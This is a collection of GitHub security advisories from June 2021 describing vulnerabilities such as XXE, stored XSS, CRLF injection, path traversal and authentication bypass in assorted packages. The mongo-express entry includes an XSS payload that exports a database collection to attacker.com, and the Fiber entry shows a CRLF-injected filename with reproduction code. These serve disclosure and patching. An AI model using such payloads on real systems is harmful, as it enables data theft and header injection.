aswin1906/github-advisory-2021.csv huggingface dataset:
XXE vulnerability on Launch import with externally-defined DTD file
Published: 2021-06-28T16:38:29Z
Aliases: CVE-2021-29620

### Impact
Starting from version 3.1.0 we introduced a new feature of JUnit XML launch import. Unfortunately XML parser was not configured properly to prevent XML external entity (XXE) attacks. This allows a user to import a specifically-crafted XML file which imports external Document Type Definition (DTD) file with external entities for extraction of secrets from Report Portal service-api module or server-side request forgery.

### Patches
Fixed with: https://github.com/reportportal/service-api/pull/1392

### Binaries
`docker pull reportportal/service-api:5.4.0`
https://github.com/reportportal/service-api/packages/846871?version=5.4.0

### For more information
If you have any questions or comments about this advisory email us: [support@reportportal.io](mailto:support@reportportal.io)
Cross-site scripting in Shopizer
Published: 2021-06-08T23:10:24Z
Aliases: CVE-2021-33561

A stored cross-site scripting (XSS) vulnerability in Shopizer before 2.17.0 allows remote attackers to inject arbitrary web script or HTML via customer_name in various forms of store administration. It is saved in the database. The code is executed for any user of store administration when information is fetched from the backend, e.g., in admin/customers/list.html.
Server-Side Request Forgery in Plone
Published: 2021-06-15T16:12:04Z
Aliases: CVE-2021-33511

Plone though 5.2.4 allows SSRF via the lxml parser. This affects Diazo themes, Dexterity TTW schemas, and modeleditors in plone.app.theming, plone.app.dexterity, and plone.supermodel.
Authentication bypass in SilverStripe GraphQL
Published: 2021-06-10T17:21:33Z
Aliases: CVE-2020-26136

The GraphQL module accepts basic-auth as an authentication method by default. This can be used to bypass MFA authentication if the silverstripe/mfa module is installed, which is now a commonly installed module. A users password is still required though.

Basic-auth has been removed as a default authentication method. If desired, it can be re-enabled by adding it to the authenticators key of a schema, or on SilverStripe\Graphql\Auth\Handler
Improper Neutralization of Special Elements in Output in helm.sh/helm/v3
Published: 2021-06-23T18:14:40Z
Aliases: CVE-2021-21303


Since Helm 2 was released, a well-documented aspect of Helm is that the Helm chart's version number MUST follow the SemVer2 specification. In the past, Helm would not permit charts with malformed versions. At some point, a patch was merged that changed this - On a version parse error, the version number was simply passed along as-is. This provided a vector for malicious data to be injected into Helm and potentially used in various ways.

Core maintainers were able to send deceptive information to a terminal screen running the `helm` command, as well as obscure or alter information on the screen. In some cases, we could send codes that terminals used to execute higher-order logic, like clearing a terminal screen.

Further, during evaluation, the Helm maintainers discovered a few other fields that were not properly sanitized when read out of repository index files. This fix remedies all such cases, and once again enforces SemVer2 policies on version fields.

All users of the Helm 3 should upgrade.

Those who use Helm as a library should verify that they either sanitize this data on their own, or use the proper Helm API calls to sanitize the data.

### Patches
This issue has been resolved in Helm 3.5.2.

While this fix does not constitute a breaking change, as all field formatting is now enforced as documented, it is possible that charts that were mistakenly allowed (but invalid) may no longer be available in search indexes. Specifically, **malformed SemVer versions are no longer supported**. This has always been the documented case, but it is true that malformed versions were allowed.

Note that this is the first security release since Helm 2's final deprecation. Helm 2 was not audited for vulnerability to this issue, and should be assumed vulnerable.
Cross-site Scripting (XSS) in baserCMS
Published: 2021-06-08T20:10:45Z
Aliases: CVE-2021-20683

Improper neutralization of JavaScript input in the blog article editing function of baserCMS versions prior to 4.4.5 allows remote authenticated attackers to inject an arbitrary script via unspecified vectors.
CRLF vulnerability in Fiber
Published: 2021-06-29T21:24:28Z
Aliases: CVE-2020-15111

### Impact
The filename that is given in [c.Attachment()](https://docs.gofiber.io/ctx#attachment) is not escaped, and therefore vulnerable for a CRLF injection attack. I.e. an attacker could upload a custom filename and then give the link to the victim. With this filename, the attacker can change the name of the downloaded file, redirect to another site, change the authorization header, etc.

### Steps to reproduce
```go
package main

import "github.com/gofiber/fiber"

const badFileName = "another secret document.pdf\"\r\nLocation: google.com\r\nAuthorization: \"example_of_session_fixation"

func splitTheResponse(c *fiber.Ctx) {
	c.Attachment(badFileName)
}

func main() {
	app := fiber.New()
	app.Get("/attack", splitTheResponse)
	app.Listen("127.0.0.1:8080")
}
```
```
HTTP/1.1 200 OK
Date: Fri, 10 Jul 2020 19:47:04 GMT
Content-Type: application/octet-stream
Content-Length: 0
Content-Disposition: attachment; filename="another secret document.pdf"
Location: google.com
Authorization: "example_of_session_fixation"
```

### Patches
This issue has been patched in `v1.12.6` with commit [579](https://github.com/gofiber/fiber/pull/579/commits/f698b5d5066cfe594102ae252cd58a1fe57cf56f) escaping the filename by default.

### Workarounds
You could of course serialize the input yourself before passing it to `ctx.Attachment()`, this is actually a good practice by default. But in case you forget, we got you covered 👍 

### References
A CRLF injection attack is one of several types of injection attacks. It can be used to escalate to more malicious attacks such as Cross-site Scripting (XSS), page injection, web cache poisoning, cache-based defacement, and more. A CRLF injection vulnerability exists if an attacker can inject the CRLF characters into a web application, for example using a user input form or an HTTP request, [see acunetix](https://www.acunetix.com/websitesecurity/crlf-injection/)

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [gofiber/fiber](https://github.com/gofiber/fiber)
* Join us on [Discord](https://gofiber.io/discord)
Calipso Arbitrary File Write via Archive Extraction (Zip Slip)
Published: 2021-06-08T18:47:18Z
Aliases: CVE-2021-23391

This affects all versions of package calipso. It is possible for a malicious module to overwrite files on an arbitrary file system through the module install functionality.
markdown2 Regular Expression Denial of Service 
Published: 2021-06-02T21:44:28Z
Aliases: CVE-2021-26813

markdown2 >=1.0.1.18, fixed in 2.4.0, is affected by a regular expression denial of service vulnerability. If an attacker provides a malicious string, it can make markdown2 processing difficult or delayed for an extended period of time.
Kiali Authentication Bypass vulnerability
Published: 2021-06-01T21:57:08Z
Aliases: CVE-2021-20278

An authentication bypass vulnerability was found in Kiali in versions before 1.31.0 when the authentication strategy `OpenID` is used. When RBAC is enabled, Kiali assumes that some of the token validation is handled by the underlying cluster. When OpenID `implicit flow` is used with RBAC turned off, this token validation doesn't occur, and this allows a malicious user to bypass the authentication.
Missing Authorization in Jenkins P4 plugin
Published: 2021-06-16T17:29:35Z
Aliases: CVE-2021-21654

Jenkins P4 Plugin 1.11.4 and earlier does not perform permission checks in multiple HTTP endpoints, allowing attackers with Overall/Read permission to connect to an attacker-specified Perforce server using attacker-specified username and password.

P4 Plugin 1.11.5 requires Overall/Administer for the affected HTTP endpoints.
Uncontrolled Resource Consumption in trim-newlines
Published: 2021-06-07T22:10:39Z
Aliases: CVE-2021-33623

@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The trim-newlines package before 3.0.1 and 4.x before 4.0.1 for Node.js has an issue related to regular expression denial-of-service (ReDoS) for the `.end()` method.
Canceling of orders not related to the logged-in user
Published: 2021-06-28T16:57:23Z

### Impact
Canceling of orders not related to the logged-in user

### Patches
We recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

### Workarounds
For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659
Path Traversal in Dutchcoders transfer.sh
Published: 2021-06-29T21:25:33Z
Aliases: CVE-2021-33497

Dutchcoders transfer.sh before 1.2.4 allows Directory Traversal for deleting files.
Insecure temporary file used in com.squareup:connect
Published: 2021-06-16T17:53:20Z
Aliases: CVE-2021-23331

This affects all versions of package com.squareup:connect. The method prepareDownloadFilecreates creates a temporary file with the permissions bits of -rw-r--r-- on unix-like systems. On unix-like systems, the system temporary directory is shared between users. As such, the contents of the file downloaded by downloadFileFromResponse will be visible to all other users on the local system. A workaround fix for this issue is to set the system property java.io.tmpdir to a safe directory as remediation. Note: This version of the SDK is end of life and no longer maintained, please upgrade to the latest version.
SessionListener can prevent a session from being invalidated breaking logout
Published: 2021-06-23T20:23:04Z
Aliases: CVE-2021-34428

### Impact
If an exception is thrown from the `SessionListener#sessionDestroyed()` method, then the session ID is not invalidated in the session ID manager.   On deployments with clustered sessions and multiple contexts this can result in a session not being invalidated.  This can result in an application used on a shared computer being left logged in.

There is no known path for an attacker to induce such an exception to be thrown, thus they must rely on an application to throw such an exception.    The OP has also identified that during the call to `sessionDestroyed`, the `getLastAccessedTime()` throws an `IllegalStateException`, which potentially contrary to the servlet spec, so applications calling this method may always throw and fail to log out.  If such an application was only tested on a non clustered test environment, then it may be deployed on a clustered environment with multiple contexts and fail to log out.

### Workarounds
The application should catch all Throwables within their `SessionListener#sessionDestroyed()` implementations.
Form validation can be skipped
Published: 2021-06-22T15:15:08Z
Aliases: CVE-2021-32697

### Impact
By crafting a special `GET` request containing a valid form state, a form can be submitted without invoking any validators.
We consider the severity _low_ because it is not possible to _change_ any form values since the form state is secured with an HMAC that is still verified.
That means that this issue can only be exploited if Form Finishers cause side effects even if no form values have been sent.

### Patches
https://github.com/neos/form/commit/69de4219b1f58157e2be6b05811463875d75c246

### Workarounds
Form Finishers can be adjusted in a way that they only execute an action if the submitted form contains some expected data.
Alternatively a custom Finisher can be added as first finisher.

### References
This regression was introduced with https://github.com/neos/form/commit/049d415295be8d4a0478ccba97dba1bb81649567
Original report: https://tickets.neos.io/#ticket/zoom/411 (internal)
QOS.ch Logback vulnerable to Deserialization of Untrusted Data
Published: 2021-06-07T16:07:36Z
Aliases: CVE-2017-5929

QOS.ch Logback before 1.2.0 has a serialization vulnerability affecting the SocketServer and ServerSocketReceiver components. The RemoteStreamAppenderClient class in logback-classic and the SocketNode classes in logback-classic and logback-access allow data to be deserialized over a Java Socket, via an ObjectInputStream, without validating the data beforehand. When data is received from the Socket, to be logged, it is deserialized into Java objects.An attacker can exploit this vulnerability by sending malicious, serialized Java objects over the connection to the Socket, which may result in execution of arbitrary code when those objects are deserialized. Note that although logback-core is implicated by the Logback project here, the Sonatype Security Research team discovered that the vulnerability is actually present in the logback-classic and logback-access components. Versions prior to 1.2.0 are vulnerable, as stated in the advisory.
Improper Verification of Cryptographic Signature in Apache Pulsar in TensorFlow
Published: 2021-06-01T21:53:49Z
Aliases: CVE-2021-22160

If Apache Pulsar is configured to authenticate clients using tokens based on JSON Web Tokens (JWT), the signature of the token is not validated if the algorithm of the presented token is set to "none". This allows an attacker to connect to Pulsar instances as any user (incl. admins).
Cross-site scripting
Published: 2021-06-28T17:18:04Z
Aliases: CVE-2021-21422

Two kinds of XSS were found:

1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.



### Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
```JSON
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }
```
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

### Patches
Upgrade to  `v1.0.0-alpha.4`

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)
* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)
Missing Authorization in Jenkins S3 publisher Plugin
Published: 2021-06-16T17:29:08Z
Aliases: CVE-2021-21650

Jenkins S3 publisher Plugin prior to 0.11.7 and 0.11.5.1 does not perform Run/Artifacts permission checks in various HTTP endpoints and API models.

This allows attackers with Item/Read permission to obtain information about artifacts uploaded to S3, if the optional Run/Artifacts permission is enabled.

S3 publisher Plugin 0.11.7 and 0.11.5.1 requires Run/Artifacts permission to obtain information about artifacts if this permission is enabled.
Privilege Escalation in fscrypt
Published: 2021-06-23T17:18:49Z
Aliases: CVE-2018-6558

The pam_fscrypt module in fscrypt before 0.2.4 may incorrectly restore primary and supplementary group IDs to the values associated with the root user, which allows attackers to gain privileges via a successful login through certain applications that use Linux-PAM (aka pam).
Improper Authentication in Apache ActiveMQ and Apache Artemis
Published: 2021-06-16T17:39:35Z
Aliases: CVE-2021-26117

The optional ActiveMQ LDAP login module can be configured to use anonymous access to the LDAP server. In this case, for Apache ActiveMQ Artemis prior to version 2.16.0 and Apache ActiveMQ prior to versions 5.16.1 and 5.15.14, the anonymous context is used to verify a valid users password in error, resulting in no check on the password.
Improper Verification of Cryptographic Signature in aws-encryption-sdk-cli
Published: 2021-06-01T21:18:53Z

### Impact

This advisory addresses several LOW severity issues with streaming signed messages and restricting processing of certain types of invalid messages. 

This ESDK supports a streaming mode where callers may stream the plaintext of signed messages before the ECDSA signature is validated. In addition to these signatures, the ESDK uses AES-GCM encryption and all plaintext is verified before being released to a caller. There is no impact on the integrity of the ciphertext or decrypted plaintext, however some callers may rely on the the ECDSA signature for non-repudiation. Without validating the ECDSA signature, an actor with trusted KMS permissions to decrypt a message may also be able to encrypt messages. This update introduces a new API for callers who wish to stream only unsigned messages. 

For customers who process ESDK messages from untrusted sources, this update also introduces a new configuration to limit the number of Encrypted Data Keys (EDKs) that the ESDK will attempt to process per message. This configuration provides customers with a way to limit the number of AWS KMS Decrypt API calls that the ESDK will make per message. This setting will reject messages with more EDKs than the configured limit.

Finally, this update adds early rejection of invalid messages with certain invalid combinations of algorithm suite and header data.

### Patches

Fixed in versions 1.9 and 2.2. We recommend that all users upgrade to address these issues.

Customers leveraging the ESDK’s streaming features have several options to protect signature validation. One is to ensure that client code reads to the end of the stream before using released plaintext. With this release, using the new API for streaming and falling back to the non-streaming decrypt API for signed messages prevents using any plaintext from signed data before the signature is validated. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x

Users processing ESDK messages from untrusted sources should use the new maximum encrypted data keys parameter. See https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x

### Workarounds

None

### For more information

https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/concepts.html#digital-sigs

https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/about-versions.html#version2.2.x
Denial of Service in geth
Published: 2021-06-29T21:23:15Z
Aliases: CVE-2018-19184

cmd/evm/runner.go in Go Ethereum (aka geth) allows attackers to cause a denial of service (SEGV) via crafted bytecode.
Open Redirect in trailing-slash
Published: 2021-06-08T23:19:21Z
Aliases: CVE-2021-23387

The package trailing-slash before 2.0.1 are vulnerable to Open Redirect via the use of trailing double slashes in the URL when accessing the vulnerable endpoint (such as https://example.com//attacker.example/). The vulnerable code is in index.js::createTrailing(), as the web server uses relative URLs instead of absolute URLs.
HTTP request smuggling in Undertow
Published: 2021-06-16T17:47:52Z
Aliases: CVE-2021-20220

A flaw was found in Undertow. A regression in the fix for CVE-2020-10687 was found. HTTP request smuggling related to CVE-2017-2666 is possible against HTTP/1.x and HTTP/2 due to permitting invalid characters in an HTTP request. This flaw allows an attacker to poison a web-cache, perform an XSS attack, or obtain sensitive information from request other than their own. The highest threat from this vulnerability is to data confidentiality and integrity.
Internal hidden fields are visible on to many associations in admin api
Published: 2021-06-28T18:20:53Z

### Impact
The admin api has exposed some internal hidden fields when an association has been loaded with a to many reference

### Patches
We recommend updating to the current version 6.4.1.1. You can get the update to 6.4.1.1 regularly via the Auto-Updater or directly via the download overview.

https://www.shopware.com/en/download/#shopware-6

### Workarounds
For older versions of 6.1, 6.2, and 6.3, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.

https://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659
Websocket requests did not call AuthenticateMethod
Published: 2021-06-23T17:26:30Z

### Impact

Depending on implementation, a denial-of-service or privilege escalation vulnerability may occur in software that uses the `github.com/ecnepsnai/web` package with Web Sockets that have an AuthenticateMethod.

The `AuthenticateMethod` is not called, and `UserData` will be nil in request methods. Attempts to read the `UserData` may result in a panic.

This issue only affects web sockets where an `AuthenticateMethod` is supplied to the handle options. Users who do not use web sockets, or users who do not require authentication are not at risk.

#### Example

In the example below, one would expect that the `AuthenticateMethod` function would be called for each request to `/example`

```go
handleOptions := web.HandleOptions{
	AuthenticateMethod: func(request *http.Request) interface{} {
		// Assume there is logic here to check for an active sessions, look at cookies or headers, etc...
		var session Session{} // Example

		return session
	},
}

server.Socket("/example", handle, handleOptions)
```

However, the method is not called, and therefor the `UserData` parameter of the request object in the handle will be nil, when it would have been expected to be the `session` object we returned.

### Patches

Release v1.5.2 fixes this vulnerability. The authenticate method is now called for websocket requests.

All users of the web package should update to v1.5.2 or later.

### Workarounds

You may work around this issue by making the authenticate method a named function, then calling that function at the start of the handle method for the websocket. Reject connections when the return value of the method is nil.
Incorrect Permission Assignment for Critical Resource	in Plone
Published: 2021-06-15T16:11:38Z
Aliases: CVE-2021-33509

Plone through 5.2.4 allows remote authenticated managers to perform disk I/O via crafted keyword arguments to the ReStructuredText transform in a Python script.
Access control flaw in Kiali
Published: 2021-06-08T20:09:36Z
Aliases: CVE-2021-3495

An incorrect access control flaw was found in the kiali-operator in versions before 1.33.0. This flaw allows an attacker with a basic level of access to the cluster (to deploy a kiali operand) to use this vulnerability and deploy a given image to anywhere in the cluster, potentially gaining access to privileged service account tokens. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Path Traversal in Django
Published: 2021-06-10T17:21:00Z
Aliases: CVE-2021-33203

Django before 2.2.24, 3.x before 3.1.12, and 3.2.x before 3.2.4 has a potential directory traversal via django.contrib.admindocs. Staff members could use the TemplateDetailView view to check the existence of arbitrary files. Additionally, if (and only if) the default admindocs templates have been customized by application developers to also show file contents, then not only the existence but also the file contents would have been exposed. In other words, there is directory traversal outside of the template root directories.